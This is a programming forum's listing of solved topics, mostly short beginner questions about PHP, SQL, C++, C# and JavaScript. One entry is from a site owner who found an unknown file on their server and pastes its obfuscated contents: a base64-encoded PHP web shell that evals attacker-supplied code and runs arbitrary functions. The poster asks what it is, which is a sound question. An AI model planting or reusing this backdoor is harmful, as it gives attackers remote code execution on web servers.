64,152 Solved Topics
Remove Filter  | |
 | Sorry I'm new to these stuff but I am having a hard time about this. So I'll trying to create a php and mysql program which can view records from database server. In my form I have 2 dropdown list and 2 submit button, the first one the the list … |
| | hi all... i have a problem when my boss ask me to do something that i don't know how to do it.. i need the idea for increment ID that will count by date.. For example today is 7/3/2012,user send request then id become AB-070312-1, user send other request at … |
| | I'm writing some while loops but I feel like there is a better way to write them. [CODE]int i=3; while (i<31) { cout << i << " "; i+=3; } //this one is for the first 10 terms of a sequence starting with 3 and adding 3 each time. int …  |
| | Before I post my problem I would like you in advance for taking the time to read this. I've been using simpletest to help me develop and test my php scripts. I'm currently working on a session class and when I go to test it I get the following exception … |
| | What's the difference between having a const function and declaring const after the function? For example, if I had a class Myclass with some private data members and I set up a public function called int getMyValue(), what would the difference be between declaring that function as: [CODE]const int getMyValue();[/CODE] …  |
| | Program created in BlueJ: For this Assignment I am to create a magic square from odd numbers >= 3 input by the user. I want to test my code to see if it works, but I can't figure out how to actually print the square from the number input by … |
| | When the cursor enters div.round I want div#expand to appear. This is happenning fine. When I remove my cursor I want the div#expand to remain visible - this is also working. Then to close div#expand I want to click a#one - this is the bit that's not working with my …  |
| | When do I really need to use Delete in Destructors? if I do Point P = new Point(); I've been told every time I use new, it stays in memory even when out of scope and that I should use delete to remove it.. so do i need to do … |
 | I am trying to parse main(argc, argv[]); and i need to look at individual characters with in the strings pointed to by *argv[]. I though of a string as an array of chars. This builds fine but causes an error in execution. So what is a simple and straight forward … |
| | I did not know WHERE to ask this as there is no "General" section on the site this site that I know of. Lets say I found code online but it's under the GPL 3 License.. I read it but it doesn't say that I cannot translate it from Pascal …  |
| | How do you set the Z order on a control in VB6? There doesn't seem to be a property for it... It seems as though I have no control over which control takes the foreground :( I suspect it is based on the order they are declared in the .frm … |
| | Hello everyone, I have a program that intends to create a doubly linked list of structures, using the following header (q1.h): [CODE=c]typedef struct lNode* ListNodePtr; typedef struct lNode { char* string; ListNodePtr next; ListNodePtr prev; } ListNode; [/CODE] This is my implementation: [CODE=c]#include "q1.h" #include <stdio.h> #include <stdlib.h> #include <string.h> … |
| | I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value … |
| | Hi I have a problem with dice game. So I have a dice game , but I want to see the picture of the dice every time the player throws the dice not only the number.. I dont know how to make it, do I need to rewrite the random …  |
| | Hi: I’m looking for visually appealing, robust Help component to add to my (.NET C#) Windows form. It must have search & indexing etc and docking. Appreciate any recommendations. Thanks! |
| | Hi guys, I just purchased SCJA exam simulator from whizlabs and i pass the final exam with over 92% but i'm still afraid to fail in the real exam. So, what else i need to do to ensure passing the exam?? Thanks |
| | Hello. i will like to generate four numbers at random, that will total 100 and assign each to a textbox. thanks for your help. |
| | Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can … |
| | Hi, i got a form with 10 button and i want to get the button name of the mouse click in a string variable i tried this: [CODE] private void Button_Click(object sender, RoutedEventArgs e) { string buttonName = ""; if (sender is Button) { buttonName = ((Button)sender).Name; MessageBox.Show(buttonName); } } … |
| | Hey guys, Having a bit of a problem. I have loaded a list of values from a mysql database into a CheckedListBox and want to be able to select them to eb used in a query. The CheckedListBox shows the data as table_name.attribute_name, and when an item is selected I … |
| | I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ … |
| | Hello, basically I want to have two TImage components, one I will use and using the Bitmap tools in Delphi I will create a background. In the second TImage I will create objects which move around the custom background but I still want the first TImage to be visible. The …  |
| | Hello !! I need help fot the following situation: I have 2 tables: test1 and test2: each one have the same columns name: data test1: column data values (black, white) test2: column data values(white,black,orange, yellow) what sql sentence i can use to show only the values (orange, yellow) the difference … |
| | After INSERTing record(s) to payments_table (from paypal IPN), $query = "SELECT sum(payments) FROM payments_table WHERE customer_id='{$customer_ID}'"; $result = mysql_query($query); //get the value from result here $query = "SELECT customer_id FROM discounts_table WHERE customer_id='{$customer_ID}'"; $result = mysql_query($query); //if row > 1 //loop until reached a certain condition THEN genarate a NEW … |
| | Hi! I have a table for payments what I want to accomplish is: once a certain customer Id reached a certain amount by his accumulated payment, it will trigger an insert into statement to my discount table to generate a code specifically for him. i understand thats trigger is only … |
| | Hi! Part of my website development is being able to recover a password and upon reading the owasp page i found out that the best one is having a temp password and an expiration my customers table doesnt have a date column nor temp pw column do I have to … |
 | Hi all I have following table structure [CODE] pk_cat_id(int) cat_name(varchar) cat_desc(text) fk_cat_id(int) [/CODE] table is self related as one to many i want to select cat_name, cat_desc and parent_cat_name() i.e. from fk_cat_id, how i can get cat_name |
| | Hi We have a competition running that I would like to automate getting the results with PHP from my MYSQL DB. I can run a query on the Database to get the following results Consultant1 20 sales Consultant2 10 sales Consultant3 5 sales Consultant4 1 sales Consultant5 3 sales Consultant6 … |
| | i am a new to php.i am having a trouble that whenever i typed a wrong username in the textfield the field goes blank after its submission...I need the field values there such i need not want to insert the textfield value again.so how can i avoid such problem...i appreciate … |
| | I wanted to write a program to check if string entered is a palidrome. I wrote a program but i get errors while compiling. Can anyone help me identify errors in the program. [CODE] #include<iostream> #include<string> int main(){ string input;bool flag=false; cout<<"Enter String: "; cin>>input; cout<<"You Entered "<<input; int length= … |
 | Hello Friends.... I have a patient registration form in my project...in which I have to browse the image of the patient save it in the database and when I need the details of the patient again the uploaded image should also be displayed.... Please help me in this... I have … |
| | Hi all, I have one problem. I have two value ($gia and $name1) and now I want to do it become one value to run in the next step.Ex: [CODE] $gia =12 $name = Tai $gia =$gia.$name out put : 12Tai[/CODE] But I hope the data will sepera two colums … |
| | i have a combobox i want to show all the student name in it , i am using mssql database , and when we select student a textbox will show the rollno of that student , please help me |
| | Hi There! Can you please help me with this. On the first page of my page I created a Textbox named="Student", on the second page I just $_POST its name and the value goes through the textbox and now I wanted to show it Again on the Third box, I …  |
| | I had done my CR with version 8.0 and I can load the report successful with asp.net coding but failed to do the same for asp. Does anyone have any code sample or any reference? I had googled it but failed to get any answer. Thanks in advance. |
| | I am trying to make the heapSort function I wrote work with the heapRebuild I was given. If someone could please tell me what exactly I am doing wrong or help point me in the right direction. [CODE]void Heap::heapRebuild(int root) { // if the root is not a leaf and … |
| | Modify the Inventory Program: Create a new method that calculates the value of the entire inventory. Create another method that sorts all of the array items alphabetically (ascending order) by the product name. o The application should declare and use an array to store 5 items. This array will represent … |
| | i need on how to draw a simple bar chat on my form like the picture below. for A B C D. Each time it draw at random. all % should be equal to 100%. |
| | Hi i have just started my c++ class and really having hard time with that.i was assigned to draw a graph which should look like dis : ***** ***** ***** ***** ***** This is what i am trying but getting only this result : ***** * * * * Please … |
 | I'm trying to make a bubble sort to sort numbers like 3.2, 5.8, etc(double / float numbers). I have this code so far, but I'm still trying to learn and don't know why my code isn't working the way I think it should. Any help is appreciated. [CODE]using System; using …  |
| | Hello, I have a problem with a header I'm trying to make. In Main.cpp, I have this function to store the combinations of the elements of vector S: [CODE=c++]template <class T> vector<vector<T> > combinations(vector<T> S, ll k) { vector<vector<ll> > combs = ncombinations(S.size(), k); vector<vector<T> > setcomb(combs.size(), vector<T>()); for(unsigned int … |
| | Am I wrong that the answer is 2?? Teacher refuses and says that it's 3 because the compiler spits out 3 for ans.. but if I do it manually with pen an paper or with the cout<<v2%v1++, it spits out 2 which is what I get on paper.. [CODE] #include … |
| | When trying to run, the compiler tells me that I cannot access the private data members. I'm just curious as to what's causing this error. Here's my class declaration: [CODE] #include <iostream> #include <string> using namespace std; #ifndef SALARY_H #define SALARY_H class Salary { public: const int getDepNum(); const int … |
| | Hello. I am learning C++, and I am a little stuck. Right now, I'm working on pointers. The problem I'm working on requires sorting an array of structures, using pointers instead of array indices, using a selection sort. My code is not working, and I can't quite figure out why. … |
| | hi everyone i am very new to programming and really need some advice. i am currently building a program and one of the things i need is to be able to count the number of pages in pdf files in a directory. i found a script online which is suppose … |
| | I need help in troubleshoot my code for reason the if statement is not working. any help please Im new into Javascript/ [CODE] <!doctype html> <html> <head> <meta charset="utf-8"> <title>Grade Calculator</title> <style type="text/css"> body { font-family: Arial, sans-serif; text-align: center; } form { width: 300px; margin: 0 auto; text-align: right; …  |
| | I a form page in an iFrame that when a user submits it brings up a thank you page. But when the thank you page loads, because the initial form page is long users don't get to see the thank you message on the thank you page. So what I … |
| | Hi, this is probably a trivial question but I'm so new to this I would learn a lot from any help... Why does the content in global variable "str" disappear as soon as I unclick the alertbox? How can I keep it? I put the string in a <div> and … |
| | i need someone to do this program for me and before saying that i have to do my homework alone i had midterms all week and in about in hour or so and i forgot about this assignment and i just dont have time so plz help here it is … |
| | hey, please help me sort this data out. Array ( [0] => Successful response for: set username [1] => Successful response for: set password [2] => Successful response for: set server [3] => Successful response for: services [4] => State Notification acquiring-network [5] => Successful response for: sign-in [6] => … |
The End.